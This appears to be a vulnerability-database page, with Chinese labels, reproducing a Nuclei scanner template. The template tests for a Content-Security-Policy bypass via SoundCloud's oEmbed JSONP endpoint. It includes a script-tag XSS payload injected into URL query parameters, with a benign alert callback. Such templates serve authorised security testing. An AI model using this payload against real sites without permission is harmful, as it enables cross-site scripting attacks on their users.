soundcloud-csp-bypass: Content-Security-Policy Bypass - SoundCloud

日期: 2025-08-01 | 影响软件: soundcloud | POC: 已公开

漏洞描述

PoC代码[已公开]

id: soundcloud-csp-bypass

info:
  name: Content-Security-Policy Bypass - SoundCloud
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,soundcloud,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "soundcloud.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: soundcloud_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://soundcloud.com/oembed?format=js&callback=alert&url=https://soundcloud.com/rich-the-kid/plug-walk-1"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "soundcloud_csp_xss == true"
# digest: 4a0a00473045022100878a05b9974f780927ad7b77b92c0454d03be5b514542e4d5072eb80799bb934022022a05b70ab932459b485816948469e57a9010866b7433e806803197efe7a8f17:922c64590222798bb761d5b6d8e72950

相关漏洞推荐